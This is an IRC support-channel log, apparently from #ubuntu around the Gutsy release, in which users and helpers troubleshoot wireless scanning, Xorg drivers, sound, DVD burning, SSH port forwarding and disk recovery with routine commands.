Now works, but was out of box with feisty. === pauldy_ is now known as pauldy [00:38] syntaxerror55:nope... it only showed when i first was going to install ubuntu when it was installed never saw it [00:38] desertc: as i said when i first logged in is that i am trying to install linux on a new laptop i got and i tried with several distros and i never reached anywhere [00:38] Darkmystere, hmm...

[00:39] pelo: just asked... brazilian? [00:39] MewRS, no [00:39] Darkmystere, ubotu is telling me that there is no ubuntu-artwork splash, so try to sudo aptitude install kubuntu-artwork-usplash [00:40] And it can be changed back to the ubuntu one afterwords afaik [00:40] JohnPhys, coudnT' find the command line either, try this one, but no garanties sudo apt-get dist-upgrade [00:40] jack_ Is this an ubuntu error? [00:40] ubuntu-artwork-usplash* [00:40] nickrud, getting there ?

Update in a few secs [00:41] ok [00:41] Pelo: no, I'm behind a work firewall here [00:41] JRU909: just type password.. that is normal.. it doesnt show [00:42] syntaxerror55:Well im trying to get the KDE login screen featured in Backtrack with the fingerscan thing lol [00:42] Oh, ok, it always freaked me out [00:42] nickrud, nvm then, some other time, I can't realy stick around tonight, I just wanted to know if other could run it without issues, It's crappying out on me [00:42] I though it would at least show up as stars [00:42] Lol [00:42] Pelo: ok [00:42] nickrud, see you some other time [00:42] Thanks [00:42] g'night folks [00:42] syntaxerror55:Edit Splash Screen [00:42] I've got a question. I installed Ubuntu Server from the CD to one hard drive. I used LVM with encryption. The install completed and everything booted fine. I shut down, removed the unnecessary CD-rom drive, and restarted. On startup, cryptsetup fails with "Source device /dev/disk/by-uuid/... not found" [00:42] np [00:42] Darkmystere, what? [00:43] Hello I've just changed form Debian (my first try at linux) to Ubuntu partly because I'd read it has better hardware support and sure enough it recognised my old soundcard, but I have a very curious problem. Ubuntu cannot shut my system down properly. It says it always fails to shut down the network, but i suspect the issue is down to my having two ethernet cards, only one of which is connected. Is there any easy way of trouble shooting [00:43] try this to change usplash - sudo update-alternatives --config usplash-artwork.so [00:43] is there something I needed to do before removing the cd-rom drive? The system boots fine when it is installed. [00:43] Darkmystere, a window appeared that said "Edit splash screen?" [00:43] hunchybunch, that was going to be my next reccomendation, but I thought he didn't have any usplashes at all [00:43] kubitz: Have you looked at the error log? [00:44] No I'm still learning where all the logs are [00:44] desertc could you direct me [00:44] syntaxerror55, yea, that may not work either === MewRS is now known as Mew[away] [00:45] MewRS: It installed fine [00:45] syntaxerror55:update-initramfs: Not updating /boot/initrd.img-2.6.22-14-generic [00:45] MewRS: I think you must have uninstalled a dependency, or deleted something by hand [00:45] Darkmystere, sudo update-initramfs -u ?

[00:52] magic_ninja, what kind of mic [00:52] !mic [00:52] Sorry, I don't know anything about mic - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [00:53] !ubuntu [00:53] Ubuntu is a complete Linux-based operating system, freely available with both community and professional support. It is developed by a large community and we invite you to participate too! - Also see http://www.ubuntu.com [00:53] Meshezabeel: yep, all options are there, selecting them and pressing apply does nothing and pops up the "Keep these settings" dialog [00:53] alyxander: cyberacoustics mic and a soundblaster audigy pci card [00:53] doctormo-> thats not normal to everyone, anyhow,, try to cycle trough the rez by control+alt+ + note the plus at the end, keep doing this till you get the rez you like [00:53] I have two computers, one came with a 500mhz processor and the other came with a 1.2ghz processor. They both are socket 370. is there a reason the computer that came with a 500mhz processor wont accept the 1.2ghz processor when i swap them?? [00:53] syntaxerror55: I mean tell me how to fix my splash screen the way u know.. [00:54] magic_ninja, what problem are you having? [00:54] its just not accepting information [00:54] Darkmystere, that is the way I know. [00:54] supernerd: yep lots, mostly to do with the limits on the bus speed and what the motherboard looks for when doing the POST [00:54] alyxander: whats the command of the gnome-mixer [00:54] hi alll [00:54] syntaxerror55: oh HunyBunch: WHat where u telling me about how to fix it? [00:54] Cool, is there a way i could change the settings so that it will work? [00:55] truna: your suggestion doesn't do anything [00:55] anyone know about keyboard layout in vnc? mine is broken [00:55] im connecting from a mac, using vnc:// [00:55] Darkmystere, she said the same thing I just did D: [00:55] doctormo-> how many times you pressed that key combinations? [00:55] magic_ninja, gnome-volume-control [00:55] truna: 5 times now [00:55] doctormo: Cool, is there a way i could change the settings so that it will work? [00:55] How do you change the dynamicly set title in gnome-terminal? [00:55] doctormo-> and it has not cycled through all the diff rez you got? [00:55] supernerd: er, not really; look at the supported speeds from the motherboard model [00:56] truna: nope [00:56] alyxander: okay now i got my mic enabled and recieving sound, but the problem is its got too much noise :-( [00:56] I have a problem. I installed Ubuntu on my boyfriend's laptop and his networking isn't working. It shows he has a network card, but won't show any available networks. [00:56] Well ill brb trying my new login screen [00:56] steve3932: I believe you can do that with a command line parameter. Check the man pages for that program. [00:56] magic_ninja: what you want is a better microphone [00:56] doctormo-> oh well, you proly need reconfigure your xorg.conf [00:56] alyxander: i dont want the mic constantly accepting sound [00:57] doctomo: where would i go to see those. Would it be in the bios settings [00:57] kittentamer-> are you looking for a new boyfriend? hehehe [00:57] i used to have it working where when i used and app that needed a mic it would work, but the mic wouldn't make a sound on my pc speakers when i flicked it [00:57] truna: no, just help getting his internet working. :-P [00:57] truna: are you sure? it worked fine before, warzone2100 crashed so I killed it, now I'm stuck in 800x600 resolution on a 1280x800 desktop. quite anoying [00:57] supernerd: online or the booklet that came with the motherboard [00:58] any mencoder jocks out there tonight? [00:58] doctormo-> am sure, i usually have to do those key combo to cycle through different rez [00:58] can someone recommend a multimedia converter? [00:58] doctormo: thanks. (as much as i lost the book) [00:58] desertc: I just checked the man page and I can change the static title by using --title=TITLE, but that gets immediately replaced by the dynamic one [00:58] kittentamer: You came to the right place. Ignore truna. What kind of network adapter is it? [00:58] hello all [00:58] Hi. I'm trying to configure gdesklets sidecandy mail. I have thunderbird installed and configured. the gdesklets widget is looking for mail at /var/mail/user but is not working. how do i fix this? [00:58] Makuseru: for mac? [00:58] kittentamer-> can you repaste your network problem again? i cleared my buffer [00:58] !hi |andril [00:58] andril: Hi! Welcome to #ubuntu! [00:59] desertc: I'm not sure. How do I look it up? [00:59] Howdy. [00:59] truna: I know restarting X11 will fix the problem, I was just hoping there would be another way. I mean I'm not about to reconfigure my xorg.conf unless there is a setting you can suggest [00:59] kittentamer: Is it wireless or wired? [00:59] desertc-> when it comes to women you want to always first inline huh? hehe [00:59] truna: I just installed Ubuntu, and it is showing that he has a wireless, just no networks to connect to. [00:59] i am having issues with gnoem taking almost a minute to come up completely - any sugestions? [00:59] so no ideas eh?, the mic shouldn't be playing what it hears over my speakers [00:59] here is the ffmpeg command that I want to translate to mencoder http://pastebin.ca/852711 [00:59] *gnome [00:59] desertc: wireless [00:59] doctormo-> oh, why not just restart X11 then, i dont think anyone knew how to recover something that X crashed [01:00] magic_ninja, gnome-volume-control and mute the mic [01:00] kittentamer-> do you have an active AP? unencrypted preferably [01:00] javatexan: no. [01:00] kittentamer: Sorry, I cannot help you with a wireless connection setting in Ubuntu. Maybe someone else here can who uses that type of connection? [01:00] kittentamer: if you can go to the command line, try "sudo iwlist scan wlan0" (replace wlan0 with the network name) [01:00] truna, desertc: Ummm...what is an AP? [01:00] I don't have a tty console and when I boot the GUI is missing and I don't see anything until GDM. It works if I use nosplash as an option. I'm on a Dell Vostro 1700 if that makes a difference. Any ideas? [01:00] Makuseru: are you looking for gui or cmd line [01:00] alyxander: okay, but the other problem is it says in grecord "Your audio capture settings are invalid. Please correct them in the Multimedia settings." [01:00] kittentamer-> access point == AP [01:00] truna: X isn't crashed, it's just not behaving correctly [01:01] javatexan: gui [01:01] Hello. Is anybody here familiar with Amarok? [01:01] doctormo-> sorry then, i dont know how to get around it other than what i suggested earlier [01:01] desertc: Going back to my shutdown failure, I'm getting error messages like "eth0: link is not ready" which makes sense because that's the one with no lead, by why is it trying to close a connection that was never open? I suppose this is a problem I can put up with for a while. [01:01] Awesome.... Well Ok im trying to compile the splash now im getting this:/bin/sh: pngtousplash: not found [01:01] make: *** [throbber_back_640_400.png.c] Error 127 [01:01] kittentamer-> thats the base station you connect your wireless to.. [01:02] Hi all, just updated grpahics driver from the default intel ubuntu one to intel 945, and now no gui! any thoughts? chatting via irssi cmd line [01:02] If anybody could help with this error, it would be greatly appreciated: http://pastebin.com/m14ee4eff [01:02] does typing startx do anything [01:02] I don't have any TTYs except #1 and it doesn't show right. [01:02] im in the market for a new laptop, and i am wondering where i can custom make a laptop that includes the option to have no os [01:02] MikeStyle, er se my above post [01:03] truna: Base station...I'm in a dorm with wireless. 0.o ...mine just worked. :-P [01:03] soldats no the xorg itself is messed i think [01:03] MikeStyle: was there an X11 log file? what does it say in there? [01:03] doctormo how would i go about finding a xorg log [01:03] Question. I'm trying to setup postfix w/ mysql and postfixadmin. I've got it all up and running and configured based on the howto on ubuntu.com, but my user I've created via postfixadmin can't login via pop3 or imap. The error just says it can't authenticate the user. Is there any way to verify that it is using mysql for its users and see where the hell I've gone wrong? [01:03] kittentamer-> the AP is owned by your school dorm? or is it by some ISP or starbucks? [01:03] . [01:03] android6011 have you tried computer fairs? [01:03] /etc/X11/xorg.conf.0.log i think [01:03] Does anyonne know why when I burn DVDs they like skip and stuff in DVD players? Someone said becaus the burning speed is too fast, but when I try to burn the DVD at 1x or 2x, it like doesn't burn; the computers/players think it's a blank DVD... [01:03] truna: it is from my dorm. [01:04] MikeStyle: /var/log/Xorg.0.log and /var/log/Xorg.0.log.old [01:04] whta do you mean [01:04] whats the command line text editor i can use to see [01:04] err yea typoed [01:04] kittentamer: did you manage to run the command I asked? [01:04] truna: the access point is apparently right in this dorm. I have no idea what to do with that info. [01:04] MikeStyle, nano [01:04] mikebot: What software are you using to burn the DVD ? [01:04] kittentamer-> do this, iwlist wlan0 scan assuming the interface name is wlan0 [01:04] doctormo: unknown command. [01:04] kittentamer-> you have to know the essid of the AP to connect to it [01:04] android6011 well in the UK we have computer fairs - you know like record fairs - where small dealers go to sell there stuff [01:05] I assumed they must have them all over the world? [01:05] unfortunately i dont have anything like that around here [01:05] desertc: I tried k3b and gnomebaker. [01:05] hey my gutsy install quits mid way during copying files and the boz turns off any ideas? [01:05] truna: essid? I'm sorry I'm so ...unknowledgable. :-P [01:05] i tried dell and hps website but my custom it only means you can only go up in price, and for the dell laptops with ubuntu the hardware isnt worth the cost [01:05] mikebot: And these play in DVD players like regular DVDs? [01:05] but by* [01:05] well guy who asked i forgot who try this:http://forum.pbase.com/viewtopic.php?p=73167 [01:05] kittentamer: are you sure you typed it in correctly? "sudo iwlist scan wlan0" [01:06] doctormo: all I am getting is unknown command. [01:06] desertc: No, they don't. I wish they would. [01:06] kittentamer-> its like saying which service provider you want to use your cell fone with, Verizon or AT& T or slomoe joe internet? [01:06] desertc: Basically I'm trying to back up my DVDs. [01:06] kittentamer: that means the wifi package isn't installed... which means your install is broken [01:06] truna: How would I find out? [01:06] doctormo, way too much info in there for cmd line reading and troubleshooting [01:06] desertc: So I'm using k9copy to get them to DVD5 format, which play perfectly fine on my computer. [01:06] kittentamer-> so the essid is the name of the vendor.. [01:06] kittentamer-> do this, iwlist wlan0 scan assuming the interface name is wlan0 [01:06] doctormo: does that mean I need to reinstall? [01:06] mikebot: I used qDVDauthor - and it was pretty good on some DVD systems [01:06] doctormo, i think all i need to do is revert to default graphics driver from ubuntu, any thoughts [01:07] truna: doctormo gave me the same advice and it is giving me unknown command. [01:07] mikebot: That's what I found, too -- it worked only on some systems [01:07] android6011 whicever way you do it you need a sole trader - the bloke up the road from me sells laptops to £299 without operating systems he calls them bare bones systems [01:07] Can someone help me with blank TTYs except for number one? It's saying kinit no resume image doing normal boot on the last line. [01:07] kittentamer-> do it as root, like so sudo iwlist wlan0 scan [01:07] desertc: But shouldn't the DVDs I burn work on every player? [01:07] truna: we have been using sudo. [01:07] kubitz ya. its just that i am going to need an online seller since there is nothing like that around here [01:07] kittentamer-> anything network related, you must be root to run [01:07] truna: I know what that means at least! :-P [01:07] mikebot: I am still puzzled by the same question. Kind of ruined my Xmas presents. [01:07] mikebot, only if the player supports burned dvds [01:08] android6011 you could try misco [01:08] kittentamer-> use the full path sudo /sbin/iwlist [01:08] desertc: Haha, same. [01:08] truna: it will work without root, but it won't perform a scan, it'll just grab it from cache [01:08] truna: we tried it once without sudo and we got : interface does not support scanning. [01:08] soldats: Why would they work any differently than regular ones? [01:08] soldats: What makes a burned DVD different than a pressed DVD ?? [01:08] My laptop turns off at random %'s while copying files during the gutsy install anyone know why this might be happening? [01:08] soldats: Does a PS2 play them? [01:08] MikeStyle: you need to sort out your x11 conf [01:08] they're more performance than cheap but they will ship the way you ask [01:08] misco? [01:08] They even ship with Ubuntu I think [01:09] I'll find the url hang on [01:09] kittentamer-> sudo /sbin/iwlist wlan0 scan lets see what this does [01:09] because there is a type of encoding that does not get burnt with some software and if it isnt burnt it wont play, some dvdplayers support it anyways [01:09] doctormo, elaborate [01:09] truna: still getting unknown command. Is there a driver I need to reinstall or anything? [01:10] MikeStyle, sudo dpkg-reconfigure xserver-xorg and use defaults except for your new vidoe card [01:10] kittentamer-> unknown command? type this which iwlist and see if it give you the full path for that command [01:10] im using intel 945g [01:10] MikeStyle: it's your X11 config file which specifies the use of a certain driver [01:10] MikeStyle, err did you download and install via restriced drivers [01:10] soldats no [01:11] it was in ubuntu under screends and grpahics [01:11] Quick Q - I have 32bit 7.10. Can i somehow upgrade to 64bit? [01:11] doctormo: you said it was broken, should I simply try to reinstall? We just did the install, so it wouldn't be that big of a deal. [01:11] android6011 http://misco.co.uk/ - you will have to contact them to ask - they don't advertise them but they will tailor and give you price [01:11] truna: It came up with the address you gave me. [01:11] truna: err..path. [01:11] kittentamer-> what was the response? [01:11] kubitz thanks i might try that [01:11] MikeStyle, well you could try the command i gave you and use all the defaults and install the drivers for your card via restricted drivers [01:11] soldats, i typed reconfigure command and my hardware isnt on the list [01:11] kittentamer: what is the exact error? "bash: iwlist: command not found"? [01:11] DaPostie: no, not really any point to do so anyway [01:11] truna: /sbin/iwlist [01:12] so point in 64bit then? :S [01:12] MikeStyle, sudo dpkg-reconfigure xserver-xorg ?? [01:12] http://uk.youtube.com/watch?v=BI8lwYwUfFY [01:12] yes. [01:12] :D [01:12] MikeStyle, is your hardware blacklisted with ubuntu [01:12] err did it ever work === Mew[away] is now known as MewRS [01:13] kittentamer-> okay..now type iwconfig and tell us which interface names you have that is wireless [01:13] horza: anything new? [01:13] no way, i installed earlier worked great lol, its a latitude d620. im no noob with ubuntu been using it for years but cmd line shtuff aint my thing [01:13] so i got an error telling me i have glib installed wrong when i try to install by way of src code whats wrong? [01:13] doctormo: "iwlist: unknown command 'wlano' (check 'iwlist --help') [01:13] does anyone in here know about xfce or mythbuntu? [01:13] ello all [01:13] and how do i fix it? [01:13] DaPostie: it's there for anyone that wants it, but atm I'd recommend 32bit for a user that does not know exactly why he needs 64bit over 32bit [01:13] Well can anyone help me with my No Sound problem if i fix that ill be happy and leave yall alone lol [01:14] MikeStyle, ok well when you ran that command it said it wasnt recognized? [01:14] slang23 I tried Debian Xfce [01:14] truna: lo no wireless extentions, eth1 no wireless extentions, [01:14] DaPostie: if you want to use more than 4gb of ram for example, that would be a good reason [01:14] Darkmystere: what do you mean by no sound ? [01:14] truna: it also says access point invalid. [01:14] so i got an error telling me i have glib installed wrong when i try to install by way of src code whats wrong? and how do i fix it? [01:14] I found the Xfce channel most useful for Xfce issues [01:14] has ubuntu updated its repositories for kubuntu-desktop to install kde4 instead of kde 3??

[01:18] righrt now [01:18] lol soldats sorry but important stuff and although i have the resources to backup it would be a waste of time [01:18] well then please excuse my impolite departure I have to log off [01:18] how would i get kde4 if that's not the case [01:19] how do I remove it? sudo make uninstall?

Then I click into the address bar, remove the /q, which has already been changed by firefox to "www.google.comq" then hit enter and I get taken to the page. When you delete the 'q' and hit enter, however, it still takes you to the 404, is that correct?

[01:38] desertc: 38.8 seems like an awful lot of space thats being used when it should be empty in the first place [01:38] XDS2010, no, can't always guarantee I have a solution, but it's always worth giving it a shot [01:38] desertc: Well Not all of them like Caller ID And Off Hook I turned them up... [01:38] Sleepwal1: All I had to do on my laptop with an 8600m was download the drivers from NVidia on 7.04 and 7.10 it just worked automatically. [01:38] Ketsuban: If you go to "tools" and "addons" in firefox, you can disable extensions. Let's try disabling them one at a time and see if the error disappears. You need to disable one, restart, try to recreate the error. If the error persists, re-enable the extension, and disable another. Rinse and repeat. [01:38] My guess in all this was to use DD (mainly ddrescue) [01:38] truna: VGA [01:38] Darkmystere: the link I sent you said to unmute everything and put it to 100% [01:38] DINKDINK: yes windows first [01:39] However im touch and go on that [01:39] desertc: nothing was muted everything was at max that could be changed [01:39] XDS2010, when you do just 'mount' does your slave show up anywhere? [01:39] astro76, thanks I've been reading some tutorial and they seem complex. I friend reccommended I do windows first. will the boot managers not conflict? === Whats|Away is now known as Whatsinaname [01:40] Ketsuban: I suspect these more than the others: Japanese-English Dictionary for rikaichan, Long Titles, PeraPera-kun, UI Tweaker [01:40] Anderson: don't think so [01:40] any virtualisation that do not require vmx flag and can run linux windows bsd and osx at the same time ? [01:40] DINKDINK: the grub boot loader for linux will replace the windows one and allow booting windows [01:40] Anderson: From what i can tell right off the bat , no [01:40] !dualboot | DINKDINK [01:40] DINKDINK: Dual boot instructions: x86/AMD64: https://help.ubuntu.com/community/WindowsDualBootHowTo - MACs: https://wiki.ubuntu.com/MacBookPro https://wiki.ubuntu.com/YabootConfigurationForMacintoshPowerPCsDualBoot [01:40] thank you [01:40] What config to I edit so that when no monitor is plugged in it will still boot? I wantto run a server with no monitor. Thanks for the help... [01:40] Darkmystere: it's either muted or your speakers are problematic. try a pair of headphones in the jack, if you think it isn't muted [01:41] i ran the mount script but I still can't access my external usb hard drive [01:41] My very first sentence here was , these drives have PHYSICAL errors [01:41] any virtualisation that do not require vmx flag and can run linux windows bsd and osx at the same time ? (giving each os a seperate independant hardware control ) like xen does. [01:41] robdoug: i got the required lib and it passed ./configure now when i go to make install i get [install-recursive] Error 1 [01:41] Anderson: [01:41] My very first sentence here was , these drives have PHYSICAL errors [01:41] desertc: well ive had sound before but i was using a diffrent kernal.. [01:41] Can someone check to see if Nexuiz is in Add/Remove ?? In the forums I'm reading, Ubuntu users are talking about installing it that way instead of downloading form the app's web site. But, I can't seem to find it. [01:41] hence the homicidal rage [01:41] soldats: did you see what i previously wrote [01:41] Ketsuban: Also, don't forget to delete the unused profile called test now. Alt+F2, firefox -P, then remove the test profile. If you want. [01:41] XDS2010, yeah, but some physical errors can be recovered, if you can manipulate the drive [01:42] What is the GNOME Sound Server? [01:42] !info nexuiz | RB2 [01:42] rb2: nexuiz: A fast-paced 3D first-person shooter. In component universe, is optional. Version 2.3-2 (gutsy), package size 651 kB, installed size 1620 kB [01:42] *mass* physical so it would seem [01:42] I beileave its somthing in the generic kernal that messes it up [01:42] But it doesn't make sense [01:42] is there a fast way to rollback a big synaptic install? I installed gnome and didnt need it....how can I take it all away? [01:42] ArthurArchnix: disabling PeraPera-kun (and the dictionary which needs it) fixed the problem, apparently. [01:42] MikeStyle, about no screens?? [01:42] RB2: you can also search on http://packages.ubuntu.com [01:42] how do I defrag and clean up my current hdd? [01:42] Its not like i droped the system off my desk [01:42] does anyone know how to mount an usb external hard drive? [01:42] Blacklabelsk8: couldnt u just select remove in synaptics? [01:42] XDS2010, is it an old drive? [01:42] astro76, thanks! I guess I'll have to do it via apt-get [01:43] bert_man: mount -t vfat /dev/sda1 /mnt [01:43] np [01:43] no [01:43] * [01:43] no, its a brand new WD Passport [01:43] bert_man: after -t put the filesystem type there [01:43] xoc: what file system are you using [01:43] Ketsuban: You may wish to email the developer and let them know that you found a bug. [01:43] i would like to be able to connect to my pc from another computer through SSH... how should i move forward? [01:43] i have installed openSSH (server and client) [01:43] soldats when i typed startx after replacing with backup xorg.conf i get'Failed to load module "intel" (module does not exist,0) No drivers available" [01:43] xoc: how do you know that /sda1 is the drive? [01:43] i have 2 SATA 2.5 60 gigers that have similar issues [01:43] Darkmystere, yes...will that take away all the dependencies? because I tried to remove gnome and it said it was just removing gnome...nothing else [01:43] Darkmystere: if the kernel messed it up, then you would not see the device, unless it was some very unusual sound card [01:43] this one won't mount [01:43] r3m0t: linux [01:43] bert_man: do sudo fdisk -l [01:44] soldats, then i also get "fatal server error: no screens found, fatal IO error on 104...ect [01:44] drgonzo00000 can you paste your error messages to the pastebin [01:44] XDS2010, maybe manufacture defect. have you tried running smartmontools against it? [01:44] !paste | drgonzo00000 [01:44] ArthurArchnix: Actually, no, it didn't trigger because I browsed to google.com first before trying the incorrect URL. [01:44] n00bie: ssh ? [01:44] xoc: if you installed ubuntu in a usual way, you are running ext3 [01:44] XDS2010, I think you can do that without mounting [01:44] What is the console command equivilent of clicking "Quit" in the System menu? [01:44] drgonzo00000: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic) [01:44] Anderson: I have 2 SATA 2.5 60 gigers that have similar issues , this one will not mount , the other is running vista ultimate and runs "ok" , but also has physical issues [01:44] XDS2010, it should clue you into the nature of the problem [01:44] r3m0t: alright how do I go about defragging the file system? [01:44] Blacklabelsk8: It shouldnt... If u already had it installed and u Reinstalled again it should stay if not just reinstall it [01:44] desertc, i'm trying, but nothing's happening [01:44] Ketsuban: Or use whatever bug filing mechanism they use. Perhaps add a review to the page to warn other people about your experience. [01:44] xoc: you do not normally need to defragment a linux system. what did you mean by "clean up"? [01:44] Anderson: yes , ive run tools like that [01:45] vox, i did the fdisk, can i send that to you in a private message? [01:45] hello guys i have a detected bluetooth USB device... but how do i set it up? i want a bluetooth headset working on it ... is there a program i can download for it .. thank you for your HELP .... plz anyone? [01:45] n00bie: nothing? [01:45] XDS2010, any insite? [01:45] bert_man: use pastebin [01:45] Hey all [01:45] r3m0t: well I opened up mozilla and the hdd was clicking so I was wondering if I could clean it up so it runs smoother and the hdd will last just a bit longer [01:45] I installed gnome...I have Xubuntu [01:45] desertc: Well as soon as i loaded that other kernal before the sound worked from the start.. [01:45] !bluetooth |whabo [01:45] I just want it gone now :( [01:45] desertc, i can 'ssh 10.0.0.2', but not 'ssh my_outside_ip' [01:45] whabo: For instructions on how to set up bluetooth, see https://help.ubuntu.com/community/BluetoothSetup [01:45] what does pastebin do? [01:45] like i said , i am leading up to using dd dd_rescue or ddrescue [01:45] however i am touch and go , for many reasons [01:45] robdoug: i'm not running irc in linux [01:45] truna: I tried a forum post to fix it, and I restarted. Invalid system disk. So, I'm going to try and reinstall. Thanks for the help! [01:46] MikeStyle, strange. maybe installing the new drivers removed the old ones. [01:46] !intel [01:46] Sorry, I don't know anything about intel - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [01:46] I have a problem: whenever I boot Ubuntu from disk and run it, I get an out-of-range resolution message from my monitor. [01:46] bert_man: pastebin allows you to paste large text files and host them on a website, instead of putting it in the irc channel which you will get kicked for flooding [01:46] What could I do. [01:46] n00bie: outside --- as in over the internet? [01:46] soldats maybe [01:46] ArthurArchnix: the culprit is UI Tweaker. [01:46] I think it would be faster to reinstall the whole system then tracking down 160 individual packages :\ [01:46] XDS2010, Sorry, i really don't know what that software is. MOst of my hardware recovery is using windows based machines, because that is what we use at work. I am still a recovering windows user. [01:46] soldats is there any generic driver i can install to get me to ANY gui [01:46] desertc, yes [01:46] one is , i would like to use a output log file (something like rescuelog.log) ,, but im not sure on how big the log file is going to get , seeing i have only 57.2 gigs of space to spare , and the drive in question is 55 gigs [01:46] n00bie: that sounds like an issue with your ISP [01:47] hi there guys, after upgrading to gutsy my wireless interface name changed from eth1 to wlan0_rename . i have been reading and trying workarounds from forums, and im still not able to invoque my wireless interface by name, for example if i do a ifup an then eth0 an lo are just listed... i cant use wlan0 =( do you know how could i? [01:47] hrm [01:47] fruitbag: run the live cd and change the resolution by hand [01:47] n00bie: you need to set a port forward on your router to port 22 on the machine [01:47] drgonzo00000: that's cool, but if you have internet on your linux machine, you can paste the info to pastebin, and then just put the url here. the ubuntu pastebin is http://paste.ubuntu-nl.org [01:47] Ketsuban: Nice job tracking it down. Here's the developers feedback page. You should let him know what you've found. http://www.supernova00.biz/firefox-downloads/uitweaker/feedback.html [01:47] robdoug: the error occurs when it says cannot stat`t-ja.gmo':No such file or directory ****[ja.gmo] Error 1 [01:47] MikeSyle,ok, let me do that real quick [01:47] anyone here ever used DD ? [01:47] ( *with* logging options ) [01:47] ? [01:48] xds, only a long while ago on OS X [01:48] !dd | XDS2010 [01:48] astro76, i believe i have... how can i verify this? [01:48] Sorry, I don't know anything about dd - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [01:48] !ddrescue | XDS2010 [01:48] well in volume controls im getting this:gconfaudiosrc ! audioconvert ! audioresample ! gconfaudiosink profile=chat: Could not open resource for writing. [01:48] Anyone know that command? [01:48] Sorry, I don't know anything about ddrescue - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [01:48] !ddrescue [01:48] n00bie: oh also you usually can't test this from inside the local network, unless your router has a feature which reflects the connection attempt back instead of sending it out [01:48] ArthurArchnix: his site hasn't worked for me for ages. [01:48] robdoug: gonna use pastebin [01:48] Anderson: thats not going to help me , as i have read the manuals thousand times over [01:48] !dd_rescue [01:48] Sorry, I don't know anything about dd_rescue - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [01:48] kittentamer-> sorry i got stuck.. [01:49] XDS2010, gotcha [01:49] MikeStyle, i tried asking ubotu about !intel but i got no response. i dont know much about intels. but id really look into asking in ##linux via "/j ##linux" in irssi [01:49] What config to I edit so that when no monitor is plugged in it will still boot? I wantto run a server with no monitor. Thanks for the help... [01:49] astro76, i have done it in the past, with my old router that is [01:49] n00bie: different router, must have had that feature [01:49] Oh this is a fscking nightmare. I've reinstalled gutsy 3x tonight and now back to more problems. Start with first: my mouse is on slowest speed but changing in preferences does nothing. Any ideas? [01:49] http://www.ss64.com/bash/ddrescue.html Anderson [01:49] Whatsinaname-> have you tried booting without a monitor yet? i bet it was successful eh? [01:49] Anderson: are you mr robotic? [01:49] astro76, could you test for me then? [01:49] ahh gnome is fixish [01:49] no, it hangs [01:49] XDS2010, I don't know. I've ran into problems where the disk wouldn't show up on os, but that was because of a 1 meter fall, and the disk wouldn't spin [01:50] Whatsinaname-> hangs where? [01:50] XDS2010, nope. who's that? [01:50] astro76, toresn.dyndns.org [01:50] But how could I change the resolution when I don't have a screen in the first place? [01:50] It freezes, I try to hook up monitor after to see, but blank screen. have to reboot. [01:50] robdoug: http://paste.ubuntu-nl.org/51732/ [01:50] n00bie: looks good [01:50] my comp quit recognizing cds, but till shows when i put a dvd in... [01:50] XDS2010, brb gotta use the restroom [01:50] horza: Sorry to hear you are getting frustrated. Can I recommend some air and exercise? You might check the Ubuntu Forums for others who had similar issues [01:50] Whatsinaname-> but that is not related to having a monitor or not [01:50] astro76, you get an entry for password? [01:51] no ones used DD huh ? [01:51] What is the console command equivilent of clicking "Quit" in the System menu? [01:51] n00bie: yes [01:51] desertc: I seem to always have a dozen ubuntuforums tabs open :-( [01:51] soldats, the original driver that came on ubuntu install worked GREAT, and it wasnt even intel. is there ANY way, if i have ubuntu install disk to get it back [01:51] ohh... truna, dosn't it poll the monitor or something like that? [01:51] astro76, great, ty [01:51] is there an application that will allow the use of different backgrounds.. [01:51] XDS2010: you need the commands related to dd? [01:51] SubOne-> to completely shutdown? man shutdown [01:51] And 3am isn't the best time for fresh air on a Saturday night in the city [01:51] drgonzo00000: ok, looking [01:51] different pics, based on which desktop your on [01:51] Whatsinaname-> no polling [01:51] bazhang: not really , i need to know how big the logfile gets [01:51] heatmzzr: wallpapoz (google it as it is not packaged) [01:51] truna: no just to show the choices [01:52] Where can i find alsaconf now-adays [01:52] horza: Good luck resolving your issue. Consider filing some bug reports so others can learn from your efforts. I'm heading out for the night. [01:52] ArthurArchnix: but thanks anyway. :P [01:52] hey folks, i have a sound blaster live card, gutsy, and a 5.1 speaker system.... right now i can only hear audio out of the rear two speakers.... it looks like my volume is muted from control panel..... when i unmute it (master volume) i hear a loud screeching noise....... (this did work previously at one point).... ideas? [01:52] hi there guys, after upgrading to gutsy my wireless interface name changed from eth1 to wlan0_rename . i have been reading and trying workarounds from forums, and im still not able to invoque my wireless interface by name, for example if i do a ifup an then eth0 an lo are just listed... i cant use wlan0 =( do you know how could i? [01:52] Johnny_5: check in system > preferences > removable drives and media > multimedia [01:52] jrib, i mean like kde allows.. different backgrounds.. [01:52] Any thoughts, guys? I have an out of rang resolution problem with my monitor when running Ubuntu. [01:52] range * [01:52] k [01:52] heatmzzr: yes, I know [01:52] SubOne-> am not sure..why do you need to show choices when you want to quit? [01:52] MikeStyle, well if the cd recognized it it should work, are you sure its an intel. can you do lspci in terminal and see what it says [01:52] ok thanks [01:52] <__mikem> arooni________: please change your rather obnoxious nick [01:52] cocox-> play around with udev.. [01:52] truna: because I want to set a global hotkey for it [01:53] MikeStyle, i just sent you a message with my fdkisk. i will be right back [01:53] How do i download new Kernals? [01:53] heatmzzr: if you use the cube in compiz you can do it in the compiz options. But for gnome, you need to use some external program [01:53] SubOne-> there is probably a command for it behind that gui, i just dont know what it is now === arooni________ is now known as arooni [01:53] XDS2010, what is the twice error you get? [01:54] __mikem, done ;p [01:54] robdig: thanks man i appreciate it. just trying to get my sound card to work [01:54] its frustrating [01:54] drgonzo00000: ok, think I found your answer. looks like you need to install two more packages, gettext and ja-trans. once installed, then do make Clean, then ./configure, then make install. [01:54] truna: any idea how i might come about that info? [01:54] drgonzo00000-> i have given up on sounds on linux :( === Varka_ is now known as Varka [01:54] any gtkpod users whom might know why gtkpod is crashing when I hit "Save Changes" on my ipod (classic 80gb)? [01:55] SubOne-> google for it I guess..which icon do you want to click for quit again? [01:55] Anderson: please read the following , this guys has a similiar prob. [01:55] Does anyone know where alsaconf is in ubuntu.... i kinda need it [01:55] http://www.mail-archive.com/bug-ddrescue@gnu.org/msg00099.html [01:55] Does anyone have any 